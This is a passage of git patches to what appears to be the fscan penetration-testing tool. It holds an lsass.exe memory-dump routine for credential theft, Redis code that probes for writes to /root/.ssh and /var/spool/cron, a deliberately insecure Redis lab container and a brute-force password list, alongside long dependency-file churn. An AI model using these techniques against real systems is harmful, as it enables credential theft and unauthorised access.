fmt.Errorf("需要管理员权限才能执行此操作") + } + pm, err := NewProcessManager() if err != nil { - log.Fatalf("初始化进程管理器失败: %v", err) + return fmt.Errorf("初始化进程管理器失败: %v", err) } // 查找 lsass.exe pid, err := pm.FindProcess("lsass.exe") if err != nil { - log.Fatalf("查找进程失败: %v", err) + return fmt.Errorf("查找进程失败: %v", err) } fmt.Printf("找到进程 lsass.exe, PID: %d\n", pid) // 提升权限 if err := pm.ElevatePrivileges(); err != nil { - log.Fatalf("提升权限失败: %v", err) + return fmt.Errorf("提升权限失败: %v", err) } fmt.Println("成功提升进程权限") @@ -278,8 +303,8 @@ func MiniDump(info *Common.HostInfo) (err error) { // 执行转储 if err := pm.DumpProcess(pid, outputPath); err != nil { - log.Fatalf("进程转储失败: %v", err) os.Remove(outputPath) + return fmt.Errorf("进程转储失败: %v", err) } fmt.Printf("成功将进程内存转储到文件: %s\n", outputPath) From ed69e410012aa24e79bab12ca442840a7b203a04 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Tue, 31 Dec 2024 19:41:21 +0800 Subject: [PATCH 158/188] =?UTF-8?q?refactor:=20=E5=AF=B9Redis=E7=8E=AF?= =?UTF-8?q?=E5=A2=83=E5=81=9A=E4=BA=86=E4=BC=98=E5=8C=96=EF=BC=8C=E8=BE=93?= =?UTF-8?q?=E5=87=BA=E4=BC=98=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Redis.go | 17 +++++++++++++++++ TestDocker/FTP/README.txt | 2 +- TestDocker/Redis/Dockerfile | 16 ++++++++++------ TestDocker/Redis/redis.conf | 15 +++------------ go.mod | 16 ++-------------- go.sum | 25 ------------------------- 6 files changed, 33 insertions(+), 58 deletions(-) diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 5719134..3f68b82 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -416,32 +416,49 @@ func readreply(conn net.Conn) (string, error) { // testwrite 测试Redis写入权限 func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { + fmt.Println("[*] 开始测试Redis写入权限...") + // 测试SSH目录写入权限 + fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...") _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { + fmt.Printf("[-] 发送SSH目录测试命令失败: %v\n", err) return flag, flagCron, err } text, err := readreply(conn) if err != nil { + fmt.Printf("[-] 读取SSH目录测试响应失败: %v\n", err) return flag, flagCron, err } + fmt.Printf("[*] SSH目录测试响应: %s\n", text) if strings.Contains(text, "OK") { flag = true + fmt.Println("[+] SSH目录写入权限测试成功") + } else { + fmt.Println("[-] SSH目录写入权限测试失败") } // 测试定时任务目录写入权限 + fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...") _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { + fmt.Printf("[-] 发送定时任务目录测试命令失败: %v\n", err) return flag, flagCron, err } text, err = readreply(conn) if err != nil { + fmt.Printf("[-] 读取定时任务目录测试响应失败: %v\n", err) return flag, flagCron, err } + fmt.Printf("[*] 定时任务目录测试响应: %s\n", text) if strings.Contains(text, "OK") { flagCron = true + fmt.Println("[+] 定时任务目录写入权限测试成功") + } else { + fmt.Println("[-] 定时任务目录写入权限测试失败") } + fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron) return flag, flagCron, err } diff --git a/TestDocker/FTP/README.txt b/TestDocker/FTP/README.txt index da06c74..6504300 100644 --- a/TestDocker/FTP/README.txt +++ b/TestDocker/FTP/README.txt @@ -1,2 +1,2 @@ -docker run -d -p 20:20 -p 21:21 -p 47000-48000:47000-48000 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp +docker run -d -p 20:20 -p 21:21 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp Mac上可能有问题 \ No newline at end of file diff --git a/TestDocker/Redis/Dockerfile b/TestDocker/Redis/Dockerfile index 013694c..6853660 100644 --- a/TestDocker/Redis/Dockerfile +++ b/TestDocker/Redis/Dockerfile @@ -1,11 +1,15 @@ -# 使用Redis官方镜像 -FROM redis:latest +FROM redis:4.0 + +# 创建必要的目录并设置权限 +RUN mkdir -p /root/.ssh && \ + mkdir -p /var/spool/cron && \ + mkdir -p /data && \ + chmod -R 777 /root/.ssh && \ + chmod -R 777 /var/spool/cron && \ + chmod -R 777 /data -# 替换默认配置文件 COPY redis.conf /usr/local/etc/redis/redis.conf -# 开放6379端口 EXPOSE 6379 -# 启动Redis -CMD ["redis-server", "/usr/local/etc/redis/redis.conf"] \ No newline at end of file +CMD [ "redis-server", "/usr/local/etc/redis/redis.conf" ] \ No newline at end of file diff --git a/TestDocker/Redis/redis.conf b/TestDocker/Redis/redis.conf index 0f0b99d..2b4f2c0 100644 --- a/TestDocker/Redis/redis.conf +++ b/TestDocker/Redis/redis.conf @@ -1,14 +1,5 @@ -# 允许远程访问 bind 0.0.0.0 - -# 关闭保护模式(允许外部连接) +port 6379 protected-mode no - -# 不设置密码 -requirepass "" - -# 后台运行 -daemonize no - -# 关闭持久化 -appendonly no \ No newline at end of file +dir /data +daemonize no \ No newline at end of file diff --git a/go.mod b/go.mod index ea331d4..de61c93 100644 --- a/go.mod +++ b/go.mod @@ -5,12 +5,12 @@ go 1.22 toolchain go1.23.3 require ( - github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 github.com/IBM/sarama v1.43.3 github.com/Ullaakut/nmap v2.0.2+incompatible github.com/denisenkom/go-mssqldb v0.12.3 github.com/fatih/color v1.7.0 github.com/go-ldap/ldap/v3 v3.4.9 + github.com/go-ole/go-ole v1.3.0 github.com/go-resty/resty/v2 v2.16.2 github.com/go-sql-driver/mysql v1.8.1 github.com/gocql/gocql v1.7.0 @@ -29,6 +29,7 @@ require ( github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 golang.org/x/crypto v0.31.0 golang.org/x/net v0.32.0 + golang.org/x/sys v0.28.0 golang.org/x/text v0.21.0 google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c google.golang.org/protobuf v1.28.1 @@ -39,8 +40,6 @@ require ( require ( filippo.io/edwards25519 v1.1.0 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect - github.com/BurntSushi/toml v0.3.1 // indirect - github.com/StackExchange/wmi v1.2.1 // indirect github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect github.com/davecgh/go-spew v1.1.1 // indirect @@ -49,7 +48,6 @@ require ( github.com/eapache/queue v1.1.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect - github.com/go-ole/go-ole v1.3.0 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect @@ -74,17 +72,7 @@ require ( github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect - go.uber.org/atomic v1.5.0 // indirect - go.uber.org/multierr v1.3.0 // indirect - go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee // indirect - go.uber.org/zap v1.14.0 // indirect - golang.org/x/lint v0.0.0-20200302205851-738671d3881b // indirect - golang.org/x/mod v0.18.0 // indirect - golang.org/x/sync v0.10.0 // indirect - golang.org/x/sys v0.28.0 // indirect - golang.org/x/tools v0.22.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect - honnef.co/go/tools v0.0.1-2019.2.3 // indirect ) replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3 diff --git a/go.sum b/go.sum index 5e2bb0e..12d92df 100644 --- a/go.sum +++ b/go.sum @@ -18,14 +18,11 @@ github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJc github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= -github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA= github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= -github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA= -github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8= github.com/Ullaakut/nmap v2.0.2+incompatible h1:edw45QpSQBQ2B/Hqfg86Bt5rrK79tp/fAcqIHyNSdQs= github.com/Ullaakut/nmap v2.0.2+incompatible/go.mod h1:fkC066hwfcoKwlI7DS2ARTggSVtBTZYCjVH1TzuTMaQ= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= @@ -89,7 +86,6 @@ github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= -github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= github.com/go-resty/resty/v2 v2.16.2 h1:CpRqTjIzq/rweXUt9+GxzzQdlkqMdt8Lm/fuK/CAbAg= @@ -277,7 +273,6 @@ github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= @@ -304,8 +299,6 @@ github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/shadow1ng/goWMIExec v0.0.2 h1:tZdno/F0JVwwpX34fidRqnT7lvobUgelyb/wWd7YgcM= -github.com/shadow1ng/goWMIExec v0.0.2/go.mod h1:SWfWb5+XTfacyp4OULdNsxOdsQTjFEpAUEn5JGTCMIA= github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk= @@ -355,25 +348,16 @@ go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= -go.uber.org/atomic v1.5.0 h1:OI5t8sDa1Or+q8AeE+yKeB/SDYioSHAgcVljj9JIETY= -go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= -go.uber.org/multierr v1.3.0 h1:sFPn2GLc3poCkfrpIXGhBD2X0CMIo4Q/zSULXrj/+uc= -go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= -go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee h1:0mgffUl7nfd+FpvXMVz4IDEaUSmT1ysygQC7qYo7sG4= -go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= -go.uber.org/zap v1.14.0 h1:/pduUoebOeeJzTDFuoMgC6nRkiasr1sBCIEorly7m4o= -go.uber.org/zap v1.14.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20200221231518-2aa609cf4a9d/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= @@ -405,7 +389,6 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b h1:Wh+f8QHJXR411sJR8/vRBTZ7YapZaRvUcLFFJhusH0k= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= @@ -419,8 +402,6 @@ golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= -golang.org/x/mod v0.18.0 h1:5+9lSbEzPSdWkH32vYPBwEpX8KwDbM52Ud9xBUvNlb0= -golang.org/x/mod v0.18.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -485,7 +466,6 @@ golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -551,8 +531,6 @@ golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgw golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= @@ -562,8 +540,6 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= -golang.org/x/tools v0.22.0 h1:gqSGLZqv+AI9lIQzniJ0nZDRG5GBPsSi+DRNHWNz6yA= -golang.org/x/tools v0.22.0/go.mod h1:aCwcsjqvq7Yqt6TNyX7QMU2enbQ/Gt0bo6krSeEri+c= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -629,6 +605,5 @@ honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt9 honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.1-2019.2.3 h1:3JgtbtFHMiCmsznwGVTUWbgGov+pVqnlf1dEJTNAXeM= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= From c004762a8c7500f11e69d1faf4bf8e6451c58692 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Tue, 31 Dec 2024 20:25:54 +0800 Subject: [PATCH 159/188] =?UTF-8?q?refactor:=20=E5=85=A8=E9=83=A8=E4=BC=98?= =?UTF-8?q?=E5=8C=96=E4=B8=BA=E5=A4=9A=E7=BA=BF=E7=A8=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 1 + Common/Config.go | 3 +- Common/Flag.go | 1 + Common/Log.go | 13 +- Plugins/ActiveMQ.go | 125 ++++++++++++--- Plugins/Cassandra.go | 120 +++++++++++++-- Plugins/Elasticsearch.go | 126 ++++++++++++--- Plugins/FTP.go | 139 +++++++++++++---- Plugins/IMAP.go | 103 +++++++++++-- Plugins/Kafka.go | 123 +++++++++++++-- Plugins/LDAP.go | 111 ++++++++++++-- Plugins/MSSQL.go | 107 +++++++++++-- Plugins/MySQL.go | 143 ++++++++++++++--- Plugins/Neo4j.go | 130 +++++++++++++--- Plugins/Oracle.go | 111 ++++++++++++-- Plugins/POP3.go | 111 ++++++++++++-- Plugins/Postgres.go | 111 ++++++++++++-- Plugins/RabbitMQ.go | 121 ++++++++++++--- Plugins/Redis.go | 107 ++++++++++--- Plugins/Rsync.go | 127 +++++++++++++--- Plugins/SMB.go | 141 ++++++++++++----- Plugins/SMB2.go | 296 +++++++++++++++++++++++++++++------- Plugins/SMTP.go | 129 +++++++++++++--- Plugins/SNMP.go | 113 +++++++++++--- Plugins/SSH.go | 78 +++++----- Plugins/Telnet.go | 135 ++++++++++++---- Plugins/Tomcat.go | 108 +++++++++++-- Plugins/VNC.go | 115 +++++++++++--- Plugins/WMIExec.go | 154 ++++++++++++++----- Plugins/Zabbix.go | 132 +++++++++++++--- TestDocker/MySQL/Dockerfile | 2 +- TestDocker/MySQL/README.txt | 5 +- 32 files changed, 2768 insertions(+), 573 deletions(-) diff --git a/.gitignore b/.gitignore index 8bd5e0a..a6e63a1 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,4 @@ result.txt main .idea fscan.exe +fscan diff --git a/Common/Config.go b/Common/Config.go index 9037854..ffbe57d 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -26,7 +26,7 @@ var Userdict = map[string][]string{ "neo4j": {"neo4j", "admin", "root", "test"}, } -var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} +var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} var Outputfile = "result.txt" var IsSave = true @@ -92,6 +92,7 @@ var ( // 爆破配置 DisableBrute bool // 原IsBrute BruteThreads int // 原BruteThread + MaxRetries int // 最大重试次数 // 其他配置 RemotePath string // 原Path diff --git a/Common/Flag.go b/Common/Flag.go index 8f04032..be655ce 100644 --- a/Common/Flag.go 